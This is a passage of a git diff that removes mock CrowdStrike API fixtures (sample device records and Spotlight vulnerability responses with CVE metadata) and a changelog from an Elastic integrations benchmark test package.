"applied":true, - "applied_date":"2023-09-11T10:33:44.174488832Z", - "assigned_date":"2023-09-11T10:32:47.853976945Z", - "policy_id":"1ee301f7e3e24e96ad6a23c73aaac1e3", - "policy_type":"firewall", - "rule_set_id":"1ee301f7e3e24e96ad6a23c73aaac1e3" - }, - "global_config":{ - "applied":true, - "applied_date":"2023-11-07T04:52:59.515775409Z", - "assigned_date":"2023-11-07T04:51:18.94671252Z", - "policy_id":"7e3078b60976486cac5dc998808d9135", - "policy_type":"globalconfig", - "settings_hash":"f01def74" - }, - "prevention":{ - "applied":true, - "applied_date":"2023-06-08T10:04:47.643357971Z", - "assigned_date":"2023-06-08T10:03:49.505180252Z", - "policy_id":"1024fac1b279424fa7300b8ac2d56be5", - "policy_type":"prevention", - "rule_groups":[], - "settings_hash":"f7a54ca1" - }, - "remote_response":{ - "applied":true, - "applied_date":"2023-06-08T10:04:47.01735027Z", - "assigned_date":"2023-06-08T10:03:49.505163572Z", - "policy_id":"dabb4def99034f11b9b3d52271584c9f", - "policy_type":"remote-response", - "settings_hash":"8a548e5e" - }, - "sensor_update":{ - "applied":true, - "applied_date":"2023-11-07T04:52:59.659583066Z", - "assigned_date":"2023-11-07T04:47:43.342175341Z", - "policy_id":"64bfa2bbcd4e46da92a66b107933da11", - "policy_type":"sensor-update", - "settings_hash":"tagged|18;101", - "uninstall_protection":"ENABLED" - } - }, - "external_ip":"81.2.69.192", - "first_seen":"2023-06-08T10:00:19Z", - "group_hash":"b607fe25348a46d421ff46e19741b0caf5bbc70bb6da1637f56e97b4e1454d77", - "groups":[ - "182388a8dbea4c44b5e019cfd32c2695" - ], - "hostname":"CLM101-131.local", - "kernel_version":"22.6.0", - "last_seen":"2023-11-07T10:25:24Z", - "local_ip":"81.2.69.142", - "mac_address":"14-7d-da-ad-ac-71", - "machine_domain":"SYS", - "major_version":"22", - "meta":{ - "version":"6002", - "version_string":"7:43570272778" - }, - "minor_version":"6", - "modified_timestamp":"2023-11-07T10:26:53Z", - "os_build":"22G120", - "os_version":"Ventura(13)", - "platform_id":"1", - "platform_name":"Mac", - "policies":[ - { - "applied":true, - "applied_date":"2023-06-08T10:04:47.643357971Z", - "assigned_date":"2023-06-08T10:03:49.505180252Z", - "policy_id":"1024fac1b279424fa7300b8ac2d56be5", - "policy_type":"prevention", - "rule_groups":[], - "settings_hash":"f7a54ca1" - } - ], - "product_type_desc":"Workstation", - "provision_status":"Provisioned", - "reduced_functionality_mode":"no", - "serial_number":"FVFDH73HMNHX", - "site_name":"Default-First-Site-Name", - "status":"normal", - "system_manufacturer":"ABCInc.", - "system_product_name":"Air,1", - "tags":[ - "tags" - ] - } - ] - } - - path: /devices/entities/devices/v2 - methods: ['POST'] - request_body: /.*"def"*/ - responses: - - status_code: 200 - headers: - Content-Type: - - application/json - body: |- - { - "resources":[ - { - "agent_load_flags":"0", - "agent_local_time":"2023-11-07T04:51:16.678Z", - "agent_version":"7.05.17603.0", - "bios_manufacturer":"ABCInc.", - "bios_version":"2020.0.1.0.0(iBridge:22.11.000.0.0,0)", - "chassis_type":"9", - "chassis_type_desc":"Laptop", - "cid":"92012896127c4948236ba7601b886b0", - "config_id_base":"6594763", - "config_id_build":"1703", - "config_id_platform":"4", - "connection_ip":"81.2.69.192", - "cpu_signature":"460517", - "device_id":"3114433dbce478ca48d9a828b9b34be", - "device_policies":{ - "device_control":{ - "applied":true, - "applied_date":"2023-06-20T08:45:26.341093915Z", - "assigned_date":"2023-06-20T08:43:47.736146738Z", - "policy_id":"3f88daf0177f467dae69262a5ce71775", - "policy_type":"device-control" - }, - "firewall":{ - "applied":true, - "applied_date":"2023-09-11T10:33:44.174488832Z", - "assigned_date":"2023-09-11T10:32:47.853976945Z", - "policy_id":"1ee301f7e3e24e96ad6a23c73aaac1e3", - "policy_type":"firewall", - "rule_set_id":"1ee301f7e3e24e96ad6a23c73aaac1e3" - }, - "global_config":{ - "applied":true, - "applied_date":"2023-11-07T04:52:59.515775409Z", - "assigned_date":"2023-11-07T04:51:18.94671252Z", - "policy_id":"7e3078b60976486cac5dc998808d9135", - "policy_type":"globalconfig", - "settings_hash":"f01def74" - }, - "prevention":{ - "applied":true, - "applied_date":"2023-06-08T10:04:47.643357971Z", - "assigned_date":"2023-06-08T10:03:49.505180252Z", - "policy_id":"1024fac1b279424fa7300b8ac2d56be5", - "policy_type":"prevention", - "rule_groups":[], - "settings_hash":"f7a54ca1" - }, - "remote_response":{ - "applied":true, - "applied_date":"2023-06-08T10:04:47.01735027Z", - "assigned_date":"2023-06-08T10:03:49.505163572Z", - "policy_id":"dabb4def99034f11b9b3d52271584c9f", - "policy_type":"remote-response", - "settings_hash":"8a548e5e" - }, - "sensor_update":{ - "applied":true, - "applied_date":"2023-11-09T04:52:59.659583066Z", - "assigned_date":"2023-11-09T04:47:43.342175341Z", - "policy_id":"74bfa2bbcd4e46da92a66b107933da11", - "policy_type":"sensor-update", - "settings_hash":"tagged|18;101", - "uninstall_protection":"ENABLED" - } - }, - "external_ip":"81.2.69.192", - "first_seen":"2023-06-09T10:00:19Z", - "group_hash":"c607fe25348a46d421ff46e19741b0caf5bbc70bb6da1637f56e97b4e1454d77", - "groups":[ - "882388a8dbea4c44b5e019cfd32c2695" - ], - "hostname":"CLM101-141.local", - "kernel_version":"22.6.0", - "last_seen":"2023-11-09T10:25:24Z", - "local_ip":"81.2.69.142", - "mac_address":"14-7d-da-ad-ac-71", - "machine_domain":"SYS", - "major_version":"22", - "meta":{ - "version":"6002", - "version_string":"7:43570272778" - }, - "minor_version":"6", - "modified_timestamp":"2023-11-09T10:26:53Z", - "os_build":"22G120", - "os_version":"Ventura(13)", - "platform_id":"1", - "platform_name":"Mac", - "policies":[ - { - "applied":true, - "applied_date":"2023-06-09T10:04:47.643357971Z", - "assigned_date":"2023-06-09T10:03:49.505180252Z", - "policy_id":"2024fac1b279424fa7300b8ac2d56be5", - "policy_type":"prevention", - "rule_groups":[], - "settings_hash":"m7a54ca1" - } - ], - "product_type_desc":"Workstation", - "provision_status":"Provisioned", - "reduced_functionality_mode":"no", - "serial_number":"FVVDH73HMNHX", - "site_name":"Default-First-Site-Name", - "status":"normal", - "system_manufacturer":"ABCInc.", - "system_product_name":"Air,1", - "tags":[ - "tags" - ] - } - ] - } diff --git a/test/packages/benchmarks/system_benchmark_crowdstrike/_dev/deploy/docker/files/config-vulnerability.yml b/test/packages/benchmarks/system_benchmark_crowdstrike/_dev/deploy/docker/files/config-vulnerability.yml deleted file mode 100644 index b1a9fa8973..0000000000 --- a/test/packages/benchmarks/system_benchmark_crowdstrike/_dev/deploy/docker/files/config-vulnerability.yml +++ /dev/null @@ -1,643 +0,0 @@ -rules: - - path: /oauth2/token - methods: ['POST'] - responses: - - status_code: 200 - headers: - Content-Type: - - 'application/json' - body: | - {"access_token":"xxxx","expires_in":1799,"token_type":"bearer"} - - path: /spotlight/combined/vulnerabilities/v1 - methods: ['GET'] - query_params: - limit: 1 - after: page-3 - responses: - - status_code: 200 - headers: - Content-Type: - - application/json - body: |- - {{ minify_json ` - { - "meta": { - "query_time": 0.467386633, - "pagination": { - "limit": 1, - "total": 3, - "after": "" - }, - "powered_by": "spapi", - "trace_id": "810254d8-a768-4def-a2a4-192ad762dbcd" - }, - "resources": [ - { - "id": "897580adb4ab4540a457536faa42de18_eda961728a22320da280bd9d181a798b", - "cid": "2cd98db1a47b4c98b913c94d43bfab70", - "aid": "897580adb4ab4540a357536faa41de18", - "vulnerability_id": "CVE-2024-26719", - "data_providers": [ - { - "provider": "Falcon sensor" - } - ], - "created_timestamp": "2025-07-24T13:42:05Z", - "updated_timestamp": "2025-07-29T00:53:18Z", - "status": "open", - "apps": [ - { - "vendor_normalized": "Debian", - "product_name_version": "linux 6.1.140+1", - "product_name_normalized": "linux", - "sub_status": "open", - "remediation": { - "ids": [ - "d5befca2cc3a33918f15acae966804fe" - ] - }, - "evaluation_logic": { - "id": "e52ad4411f913b76b24866b9ad33c36a", - "cid": "2cd98db1a47b4c98b913c94d43bfab70", - "aid": "897580adb4ab4540a357536faa41de18", - "data_provider": "Falcon sensor", - "created_timestamp": "2025-07-24T13:40:28Z", - "updated_timestamp": "2025-07-24T13:40:28Z", - "logic": [ - { - "id": 11529734357680297657, - "title": "Debian 12 is installed", - "type": "inventory", - "description": "", - "negate": false, - "existence_check": "at_least_one_exists", - "comparison_check": "at least one", - "determined_by_comparison": true, - "comparisons": { - "state_operator": "AND", - "state_comparisons": [ - { - "entity_operator": "AND", - "entity_comparisons": [ - { - "actual_value_field": "subexpression", - "expected_value": "12", - "operation": "equals", - "value_datatype": "string" - } - ] - } - ] - }, - "items": [ - { - "comparison_result": "true", - "filepath": "/etc/debian_version", - "item_type": "textfilecontent_item", - "subexpression": [ - "12" - ] - } - ] - }, - { - "id": 5378633537652057925, - "title": "linux is installed", - "type": "inventory", - "description": "", - "negate": false, - "existence_check": "at_least_one_exists", - "comparison_check": "", - "determined_by_comparison": false, - "items": [ - { - "arch": "amd64", - "comparison_result": "not evaluated", - "epoch": "0", - "evr": "6.1.140-1", - "item_type": "dpkginfo_item", - "name": "linux-image-cloud-amd64", - "release": "1", - "version": "6.1.140" - }, - { - "arch": "amd64", - "comparison_result": "not evaluated", - "epoch": "0", - "evr": "6.1.140-1", - "item_type": "dpkginfo_item", - "name": "linux-image-6.1.0-37-cloud-amd64", - "release": "1", - "version": "6.1.140" - } - ] - } - ], - "simplified_logic": [ - { - "id": 11529734357680297657, - "title": "Debian 12 is installed", - "checks": "(subexpression equals 12)", - "match_required": "All comparisons must pass", - "found": [ - "subexpression: [12]" - ], - "data": [ - "filepath: /etc/debian_version" - ] - }, - { - "id": 5378633537652057925, - "title": "linux is installed", - "checks": "No comparisons available : Existence check", - "found": [ - "Item was found" - ], - "data": [ - "package: linux-image-cloud-amd64-6.1.140-1.amd64", - "package: linux-image-6.1.0-37-cloud-amd64-6.1.140-1.amd64" - ] - } - ], - "host_info": { - "entities_matched": [ - { - "asset_id": "ab87facab3de4911a15af6fe385db2bf" - } - ] - } - }, - "remediation_info": { - "recommended_id": "d5befca2cc3a33918f15acae966804fe" - } - } - ], - "suppression_info": { - "is_suppressed": false - }, - "confidence": "confirmed", - "host_info": { - "hostname": "ub24-50-10-154", - "local_ip": "1.128.0.0", - "machine_domain": "", - "os_version": "Debian GNU 12", - "ou": "", - "site_name": "", - "system_manufacturer": "Google", - "groups": [ - { - "id": "group-123", - "name": "Production" - } - ], - "tags": [], - "platform": "Linux", - "instance_id": "9165043901540429889", - "service_provider_account_id": "126499441333", - "service_provider": "GCP", - "product_type_desc": "Server", - "asset_criticality": "Unassigned", - "internet_exposure": "No", - "managed_by": "Falcon sensor", - "host_last_seen_timestamp": "2025-07-26T00:00:00Z" - }, - "remediation": { - "entities": [ - { - "id": "d5befca2cc3a33918f15acae966804fe", - "reference": "Debian linux", - "title": "No fix or vendor remediation available for Debian linux", - "action": "No fix or vendor remediation available for linux on Debian GNU 12. Alternatives might include software removal, OS upgrade, or other mitigating controls", - "link": "", - "vendor_url": "" - } - ] - }, - "cve": { - "id": "CVE-2024-26719", - "base_score": 5.5, - "severity": "MEDIUM", - "exploit_status": 0, - "exprt_rating": "LOW", - "remediation_level": "U", - "cisa_info": { - "is_cisa_kev": false - }, - "spotlight_published_date": "2024-04-04T12:46:00Z", - "types": [ - "Vulnerability" - ], - "cwes": [ - "" - ], - "description": "In the Linux kernel, the following vulnerability has been resolved:\n\nnouveau: offload fence uevents work to workqueue\n\nThis should break the deadlock between the fctx lock and the irq lock.\n\nThis offloads the processing off the work from the irq into a workqueue.\n", - "published_date": "2024-04-03T00:00:00Z", - "references": [ - "https://git.kernel.org/stable/c/39126abc5e20611579602f03b66627d7cd1422f0", - "https://git.kernel.org/stable/c/985d053f7633d8b539ab1531738d538efac678a9", - "https://git.kernel.org/stable/c/cc0037fa592d56e4abb9c7d1c52c4d2dc25cd906", - "https://lore.kernel.org/linux-cve-announce/2024040344-CVE-2024-26719-b66e@gregkh/T", - "https://nvd.nist.gov/vuln/detail/CVE-2024-26719", - "https://security-tracker.debian.org/tracker/CVE-2024-26719", - "https://www.cve.org/CVERecord?id=CVE-2024-26719" - ], - "exploitability_score": 1.8, - "impact_score": 3.6, - "vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H" - } - } - ] - } - `}} - - path: /spotlight/combined/vulnerabilities/v1 - methods: ['GET'] - query_params: - limit: 1 - after: page-2 - responses: - - status_code: 200 - headers: - Content-Type: - - application/json - body: |- - {{ minify_json ` - { - "meta": { - "query_time": 0.013642188, - "pagination": { - "limit": 1, - "total": 3, - "after": "page-3" - }, - "powered_by": "spapi", - "trace_id": "20f000f8-6614-47e8-a94a-af3611d37ddb" - }, - "resources": [ - { - "id": "897580adb4ab4540a457536faa42de18_eda961728a22320da280bd9d181a798b", - "cid": "2cd98db1a47b4c98b913c94d43bfab70", - "aid": "897580adb4ab4540a357536faa41de18", - "vulnerability_id": "CVE-2025-26465", - "data_providers": [ - { - "provider": "Falcon sensor", - "ports": [22, 80], - "rating": "high", - "scan_id": "scan-123456", - "scan_time": "2025-02-20T12:00:00Z", - "scanner_id": "scanner-xyz" - } - ], - "created_timestamp": "2025-02-20T10:10:24Z", - "updated_timestamp": "2025-02-25T13:33:23Z", - "closed_timestamp": "2025-02-26T10:00:00Z", - "status": "open", - "apps": [ - { - "vendor_normalized": "Ubuntu", - "product_name_version": "openssh 1:9.6p1-3ubuntu13.4", - "product_name_normalized": "openssh", - "sub_status": "open", - "remediation": { - "ids": ["4688299d204b35a192828bdaf556ecf8"] - }, - "evaluation_logic": { - "id": "138bd6a67791327ab367838079b4d786", - "aid": "897580adb4ab4540a357536faa41de18", - "cid": "2cd98db1a47b4c98b913c94d43bfab70", - "complex_check_operator": "AND", - "created_timestamp": "2025-02-20T10:15:30Z", - "logic": [ - { - "comparison_check": "equals", - "comparisons": { - "state_comparisons": [ - { - "entity_comparisons": [ - { - "actual_value_field": "version", - "operation": "equals", - "value_datatype": "string" - } - ], - "entity_operator": "AND" - } - ], - "state_operator": "OR" - }, - "determined_by_comparison": true, - "existence_check": "Yes", - "id": "logic-12345", - "negate": false, - "status": "active", - "title": "Evaluation Logic for OpenSSH", - "type": "comparison" - } - ], - "updated_timestamp": "2025-02-25T13:33:23Z" - }, - "remediation_info": { - "recommended_id": "4688299d207b35a192828bdaf556ecf8", - "minimum_id": "df1af7df1d33382398fb0dc268109a4d", - "patch_publication_date": "2025-02-19T00:00:00Z" - }, - "patch_publication_date": "2025-02-19T00:00:00Z" - } - ], - "suppression_info": { - "is_suppressed": false, - "reason": "Not applicable" - }, - "confidence": "confirmed", - "app": { - "vendor_normalized": "Ubuntu", - "product_name_version": "openssh 1:9.6p1-3ubuntu13.4", - "product_name_normalized": "openssh" - }, - "cve": { - "id": "CVE-2025-26465", - "base_score": 6.8, - "severity": "MEDIUM", - "exploit_status": 30, - "exprt_rating": "MEDIUM", - "remediation_level": "O", - "cisa_info": { - "is_cisa_kev": false, - "due_date": "2025-03-01" - }, - "spotlight_published_date": "2025-02-19T05:32:00Z", - "types": ["Vulnerability"], - "cwes": ["CWE-123"], - "description": "A vulnerability was found in OpenSSH...", - "published_date": "2025-02-18T19:15:00Z", - "references": ["https://ubuntu.com/security/CVE-2025-26465"], - "exploitability_score": 1.6, - "impact_score": 5.2, - "vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:N" - }, - "host_info": { - "hostname": "ub24-50-10-154", - "local_ip": "1.128.0.0", - "os_version": "Ubuntu 24.04", - "platform": "Linux", - "product_type_desc": "Server", - "asset_criticality": "Critical", - "internet_exposure": "No", - "managed_by": "Falcon sensor", - "host_last_seen_timestamp": "2025-02-18T00:00:00Z", - "tags": ["production", "security"], - "has_run_container": false, - "machine_domain": "example.local", - "service_provider": "AWS", - "service_provider_account_id": "123456789012", - "system_manufacturer": "Dell", - "groups": [ - { - "id": "group-123", - "name": "Production" - } - ] - }, - "remediation": { - "ids": [ - "4688299d207b35a192828bdaf556ecf8", - "df1af7df1d33382398fb0dc268109a4d" - ], - "entities": [ - { - "id": "4688299d207b35a192828bdaf556ecf8", - "reference": "1:9.6p1-3ubuntu13.8", - "title": "Update ubuntu openssh", - "action": "Update ubuntu openssh to version 1:9.6p1-3ubuntu13.8 or newer", - "link": "https://ubuntu.com/security/CVE-2025-26465", - "vendor_url": "https://www.openssh.com", - "recommendation_type": "recommended" - } - ] - } - } - ] - } - `}} - - path: /spotlight/combined/vulnerabilities/v1 - methods: ['GET'] - query_params: - limit: 1 - responses: - - status_code: 200 - headers: - Content-Type: - - application/json - body: |- - {{ minify_json ` - { - "meta": { - "query_time": 0.013642188, - "pagination": { - "limit": 1, - "total": 3, - "after": "page-2" - }, - "powered_by": "spapi", - "trace_id": "20f099f8-6614-47e8-a94a-af3611d37ddb" - }, - "resources": [ - { - "updated_timestamp": "2025-02-28T09:04:38Z", - "id": "vuln-1234567890abcdef", - "host_info": { - "local_ip": "1.128.0.0", - "hostname": "DESKTOP-EXAMPLE", - "platform": "Windows", - "os_version": "10.0.19042", - "asset_criticality": "High", - "asset_roles": [ - "Web Server", - "Database Server" - ], - "confidence_label": "Confirmed", - "groups": [ - { - "id": "group-001", - "name": "Production Servers" - } - ], - "has_run_container": false, - "host_last_seen_timestamp": "2025-02-27T15:30:00Z", - "instance_id": "i-0abcdef1234567890", - "internet_exposure": "Public", - "machine_domain": "example.com", - "managed_by": "IT Department", - "os_build": "19042.1237", - "ou": "IT/Servers", - "product_type_desc": "Server", - "service_provider": "AWS", - "service_provider_account_id": "123456789012", - "site_name": "Main Data Center", - "subsidiaries": [ - "Subsidiary A", - "Subsidiary B" - ], - "system_manufacturer": "Dell Inc.", - "tags": [ - "Critical", - "Production" - ], - "third_party_asset_ids": [ - "asset-12345", - "asset-67890" - ] - }, - "data_providers": [ - { - "provider": "Nessus", - "ports": [ - 80, - 443 - ], - "rating": "High", - "scan_id": "scan-001", - "scan_time": "2025-02-26T12:00:00Z", - "scanner_id": "scanner-01" - } - ], - "cve": { - "vendor_advisory": [ - "https://vendor.com/advisory/CVE-2025-1234" - ], - "description": "A vulnerability in the XYZ component allows remote attackers to execute arbitrary code.", - "references": [ - "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-1234" - ], - "base_score": 9.8, - "severity": "Critical", - "actors": [ - "APT28", - "Fancy Bear" - ], - "cisa_info": { - "due_date": "2025-03-15", - "is_cisa_kev": true - }, - "cwes": [ - "CWE-79", - "CWE-89" - ], - "exploit_status": 0, - "exploitability_score": 10, - "exprt_rating": "High", - "id": "CVE-2025-1234", - "impact_score": 9, - "name": "XYZ Component Remote Code Execution", - "published_date": "2025-02-25", - "remediation_level": "Official Fix", - "spotlight_published_date": "2025-02-26", - "types": [ - "Remote Code Execution", - "Privilege Escalation" - ], - "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H" - }, - "vulnerability_id": "vuln-2025-1234", - "app": { - "product_name_normalized": "XYZ Application", - "product_name_version": "1.2.3", - "vendor_normalized": "XYZ Corp" - }, - "apps": [ - { - "evaluation_logic": { - "aid": "app-001", - "cid": "cid-001", - "complex_check_operator": "AND", - "created_timestamp": "2025-02-20T08:00:00Z", - "id": "eval-logic-001", - "logic": [ - { - "comparison_check": "EQUALS", - "comparisons": { - "state_comparisons": [ - { - "entity_comparisons": [ - { - "actual_value_field": "version", - "operation": "LESS_THAN", - "value_datatype": "string" - } - ], - "entity_operator": "AND" - } - ], - "state_operator": "OR" - }, - "determined_by_comparison": true, - "existence_check": "Yes", - "id": "logic-001", - "negate": false, - "status": "Active", - "title": "Check for vulnerable version", - "type": "Version Check" - } - ] - }, - "patch_publication_date": "2025-02-25", - "product_name_normalized": "XYZ Application", - "product_name_version": "1.2.3", - "remediation_info": { - "minimum_id": "patch-001", - "patch_publication_date": "2025-02-25", - "recommended_id": "patch-002" - }, - "remediation": { - "ids": [ - "rem-001", - "rem-002" - ] - }, - "sub_status": "Pending", - "vendor_normalized": "XYZ Corp" - } - ], - "cid": "cid-123456", - "closed_timestamp": "2025-02-28T10:00:00Z", - "confidence": "High", - "created_timestamp": "2025-02-25T08:00:00Z", - "remediation": { - "entities": [ - { - "action": "Apply Patch", - "id": "rem-001", - "link": "https://vendor.com/patches/patch-001", - "patch_publication_date": "2025-02-25", - "recommendation_type": "Official", - "reference": "PATCH-2025-001", - "title": "Security Patch for XYZ Component", - "vendor_url": "https://vendor.com/patches" - } - ], - "ids": [ - "rem-001", - "rem-002" - ] - }, - "services": [ - { - "port": 80, - "protocol": "HTTP", - "transport": "TCP" - }, - { - "port": 443, - "protocol": "HTTPS", - "transport": "TCP" - } - ], - "status": "Open", - "suppression_info": { - "is_suppressed": false, - "reason": "" - } - } - ] - } - `}} diff --git a/test/packages/benchmarks/system_benchmark_crowdstrike/changelog.yml b/test/packages/benchmarks/system_benchmark_crowdstrike/changelog.yml deleted file mode 100644 index 1c8e0402b4..0000000000 --- a/test/packages/benchmarks/system_benchmark_crowdstrike/changelog.yml +++ /dev/null @@ -1,999 +0,0 @@ -# newer versions go on top -- version: "3.5.0" - changes: - - description: Add support for CustomerIOCEvent events in falcon data stream. - type: enhancement - link: https://github.com/elastic/integrations/pull/17339 -- version: "3.4.0" - changes: - - description: Add support for FileIntegrityMonitorRuleMatched and FileIntegrityMonitorRuleMatchedEnriched events in the FDR data stream. - type: enhancement - link: https://github.com/elastic/integrations/pull/16990 - - description: Change `crowdstrike.Nonce` field type from integer to unsigned_long in the FDR data stream to support unsigned 64-bit values out of long range. - type: enhancement - link: https://github.com/elastic/integrations/pull/16990 -- version: "3.3.1" - changes: - - description: Remove references to FDR queue setting. - type: bugfix - link: https://github.com/elastic/integrations/pull/17387 - - description: Remove duplicate security-solution-default tag references - type: bugfix - link: https://github.com/elastic/integrations/pull/17020 -- version: "3.3.0" - changes: - - description: Parse EppDetectionSummaryEvent events in FDR data stream. - type: enhancement - link: https://github.com/elastic/integrations/pull/17034 -- version: "3.2.1" - changes: - - description: Fix processing of `crowdstrike.User.ID` field. - type: bugfix - link: https://github.com/elastic/integrations/pull/16989 -- version: "3.2.0" - changes: - - description: Improvements and fixes to ingest pipelines for all data streams. - type: enhancement - link: https://github.com/elastic/integrations/pull/16730 -- version: "3.1.0" - changes: - - description: Improve ingest pipeline maintainability. - type: enhancement - link: https://github.com/elastic/integrations/pull/16213 -- version: "3.0.0" - changes: - - description: >- - Add parsing for CSPM IOA and IOM events in the FDR data stream. No configuration changes are required on user side to enable parsing. Some field data types have changed, which may break existing Kibana dashboards or queries. - type: breaking-change - link: https://github.com/elastic/integrations/pull/15783 -- version: "2.11.0" - changes: - - description: >- - Add support for following additional event types in the FDR data stream: MountedVolume, FalconProcessHandleOpDetectInfo, ServiceStopped, KernelServiceStarted, InstalledBrowserExtension, SensorAntiTamperState, SensorSettingsUpdate, ServicesStatusInfo, FileWrittenWithEntropyHigh, ReflectiveDotnetModuleLoad, SuspiciousPrivilegedProcessHandle. These new event types provide deeper visibility into system activity and security posture. - type: enhancement - link: https://github.com/elastic/integrations/pull/15846 -- version: "2.10.1" - changes: - - description: Remove all constant keyword fields that have statically defined values. - type: bugfix - link: https://github.com/elastic/integrations/pull/16240 - - description: Fix handling of string CrowdStrike `User` fields. - type: bugfix - link: https://github.com/elastic/integrations/pull/16240 -- version: "2.10.0" - changes: - - description: >- - Provide an alternate endpoint to query host data for GovCloud CIDs. The GovCloud CIDs must enable the `GovCloud` flag in the integration configuration to ensure the correct endpoint is used. - type: enhancement - link: https://github.com/elastic/integrations/pull/16007 -- version: "2.9.0" - changes: - - description: Support handling FDR documents that encode numbers as strings. - type: enhancement - link: https://github.com/elastic/integrations/pull/16087 -- version: "2.8.0" - changes: - - description: Add support for HTTP proxy configuration for Event Streams. Add support for proxy header configuration for CrowdStrike APIs. - type: enhancement - link: https://github.com/elastic/integrations/pull/15880 -- version: "2.7.0" - changes: - - description: Add support for DataProtectionDetectionSummaryEvent events in FDR and Falcon datasets. - type: enhancement - link: https://github.com/elastic/integrations/pull/15859 -- version: "2.6.0" - changes: - - description: Add a fallback parsing command_line to populate the process name in the FDR data stream. - type: enhancement - link: https://github.com/elastic/integrations/pull/15646 -- version: "2.5.2" - changes: - - description: Add `event.category` and `event.type` fields to process data in alerts. - type: bugfix - link: https://github.com/elastic/integrations/pull/15616 -- version: "2.5.1" - changes: - - description: Add conditionals to rename processors in the fdr ingest pipeline to pass the rally benchmark. - type: bugfix - link: https://github.com/elastic/integrations/pull/15497 - - description: Fix the alert ingest pipeline to append device tags correctly. - type: bugfix - link: https://github.com/elastic/integrations/pull/15497 -- version: "2.5.0" - changes: - - description: Migrate to /devices/combined/devices/v1 endpoint to pull host data. - type: enhancement - link: https://github.com/elastic/integrations/pull/15419 -- version: "2.4.0" - changes: - - description: Enhance the field mappings for Windows events in the FDR data stream. - type: enhancement - link: https://github.com/elastic/integrations/pull/15342 -- version: "2.3.0" - changes: - - description: Migrate to /alerts/combined/alerts/v1 endpoint to pull alert data. - type: enhancement - link: https://github.com/elastic/integrations/pull/15291 -- version: "2.2.1" - changes: - - description: Fix processing of `crowdstrike.User.Name` field. - type: bugfix - link: https://github.com/elastic/integrations/pull/15272 -- version: "2.2.0" - changes: - - description: >- - Migrate to the "/spotlight/combined/vulnerabilities/v1" endpoint for vulnerability data. Add support for the `facet` query parameter to control what data is returned in the API response. - type: enhancement - link: https://github.com/elastic/integrations/pull/15049 -- version: "2.1.0" - changes: - - description: Populate `message` ECS field from `crowdstrike.event_simpleName` field for FDR data stream. - type: enhancement - link: https://github.com/elastic/integrations/pull/14916 -- version: "2.0.1" - changes: - - description: Added a conditional JSON parsing workaround for `ResourceAttributes` to handle cases where it is rendered as a JSON string. - type: bugfix - link: https://github.com/elastic/integrations/pull/15019 -- version: "2.0.0" - changes: - - description: "Data deduplication is now disabled by default for the FDR data stream when configured with the aws-s3 input. \nPreviously, the FDR data stream automatically handled deduplication by computing an Elasticsearch document _id \nusing the aws-s3 input. To prevent duplicate documents, you must now explicitly enable the Data Deduplication setting. \nWhile enabling this setting prevents duplicates, it may result in a lower indexing rate because Elasticsearch \nmust check for existing documents before indexing.\n" - type: breaking-change - link: https://github.com/elastic/integrations/pull/14762 -- version: "1.80.0" - changes: - - description: Update README to clarify the log file format and location for the Falcon SIEM Connector. - type: enhancement - link: https://github.com/elastic/integrations/pull/14789 -- version: "1.79.0" - changes: - - description: Parse `ou` field for host data stream. - type: enhancement - link: https://github.com/elastic/integrations/pull/14773 -- version: "1.78.0" - changes: - - description: Add `FilesAccessed` timestamp checking to falcon and fdr data streams. - type: enhancement - link: https://github.com/elastic/integrations/pull/14723 -- version: "1.77.1" - changes: - - description: Support various Tags formats in FDR data. - type: bugfix - link: https://github.com/elastic/integrations/pull/14679 -- version: "1.77.0" - changes: - - description: Use `terminate` processor instead of `fail` processor to handle agent errors. - type: enhancement - link: https://github.com/elastic/integrations/pull/14393 -- version: "1.76.0" - changes: - - description: Extend info-level severity names to include "Informational". - type: enhancement - link: https://github.com/elastic/integrations/pull/14275 -- version: "1.75.2" - changes: - - description: Add temporary processor to remove the fields added by the Agentless policy. - type: bugfix - link: https://github.com/elastic/integrations/pull/14172 -- version: "1.75.1" - changes: - - description: Add support for multi-resource falcon hose streams. - type: bugfix - link: https://github.com/elastic/integrations/pull/14212 -- version: "1.75.0" - changes: - - description: Add additional parsed fields in alert datastream. - type: enhancement - link: https://github.com/elastic/integrations/pull/14143 -- version: "1.74.0" - changes: - - description: Standardize user fields processing across integrations. - type: enhancement - link: https://github.com/elastic/integrations/pull/14066 -- version: "1.73.1" - changes: - - description: Fix EppDetectionSummaryEvent recognition logic in falcon data stream. - type: bugfix - link: https://github.com/elastic/integrations/pull/14110 -- version: "1.73.0" - changes: - - description: Parse `prevented` and `worker_node_name` field for alert data streams. - type: enhancement - link: https://github.com/elastic/integrations/pull/14026 -- version: "1.72.0" - changes: - - description: Update SQS parsing script to parse all notification payloads. - type: enhancement - link: https://github.com/elastic/integrations/pull/13875 -- version: "1.71.0" - changes: - - description: Add `process.entity_id` and `process.parent.entity_id` ECS mappings in alert and falcon data streams. - type: enhancement - link: https://github.com/elastic/integrations/pull/13984 -- version: "1.70.0" - changes: - - description: Normalize `event.severity` values across EDR integrations. - type: enhancement - link: https://github.com/elastic/integrations/pull/13955 -- version: "1.69.1" - changes: - - description: Correct network.direction mapping. - type: bugfix - link: https://github.com/elastic/integrations/pull/13961 -- version: "1.69.0" - changes: - - description: Improve user ECS field mappings for FDR. - type: enhancement - link: https://github.com/elastic/integrations/pull/13906 -- version: "1.68.0" - changes: - - description: Improve handling of document collision. - type: enhancement - link: https://github.com/elastic/integrations/pull/13779 -- version: "1.67.0" - changes: - - description: Improve FDR field handling. - type: enhancement - link: https://github.com/elastic/integrations/pull/12913 -- version: "1.66.0" - changes: - - description: Handle `UTCTimestamp` values expressed in Unix seconds. - type: enhancement - link: https://github.com/elastic/integrations/pull/13833 -- version: "1.65.1" - changes: - - description: Adjust alert batch size to 1000 to match the API limit. - type: bugfix - link: https://github.com/elastic/integrations/pull/13862 -- version: "1.65.0" - changes: - - description: Remove redundant installation instructions. - type: enhancement - link: https://github.com/elastic/integrations/pull/13573 -- version: "1.64.1" - changes: - - description: Reset state values when an error occurs during vulnerability data collection. - type: bugfix - link: https://github.com/elastic/integrations/pull/13740 -- version: "1.64.0" - changes: - - description: Enhance `device.id` ECS mappings for FDR data stream. - type: enhancement - link: https://github.com/elastic/integrations/pull/13762 -- version: "1.63.2" - changes: - - description: Fix the navigation links in `Table of Contents` section. - type: bugfix - 